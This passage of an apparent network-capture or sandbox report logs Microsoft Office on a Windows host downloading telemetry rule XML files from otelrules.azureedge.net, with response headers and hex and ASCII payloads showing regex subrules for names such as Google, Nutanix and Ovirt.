/> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.8	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:59 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075700Z-174f7845968px8v7hC1EWR08ng0000000ya000000000be1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.8	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:00 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 320a0aa9-e01e-003c-0635-41c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075700Z-174f7845968cpnpfhC1EWR3afc0000000xpg00000000bac9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.8	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:01 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075701Z-174f7845968glpgnhC1EWR7uec0000000y5g00000000f49c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.8	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:01 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:01 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e297b188-201e-0000-7a1b-41a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075701Z-174f7845968vqt9xhC1EWRgten0000000y3000000000bahy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:01 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.8	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:01 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 09dbda49-a01e-003d-2d45-4098d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075701Z-174f7845968glpgnhC1EWR7uec0000000y6000000000d4nb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.8	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:02 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:02 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 8bbb4784-e01e-0003-6915-410fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075702Z-174f7845968px8v7hC1EWR08ng0000000ydg0000000045e3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:02 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.8	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:02 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075703Z-174f7845968px8v7hC1EWR08ng0000000y9g00000000cdnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.8	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:03 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075703Z-174f7845968n2hr8hC1EWR9cag0000000xtg0000000059d6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.8	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:03 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:03 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075703Z-174f7845968px8v7hC1EWR08ng0000000yb0000000009duf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:03 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.8	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:03 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075704Z-174f7845968frfdmhC1EWRxxbw0000000y3000000000cfa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.8	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:04 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:04 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: b10bd460-301e-0096-2d05-41e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075704Z-174f7845968frfdmhC1EWRxxbw0000000y70000000004qqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:04 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.8	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:04 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:05 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075705Z-174f7845968l4kp6hC1EWRe8840000000yg0000000000far x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:05 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 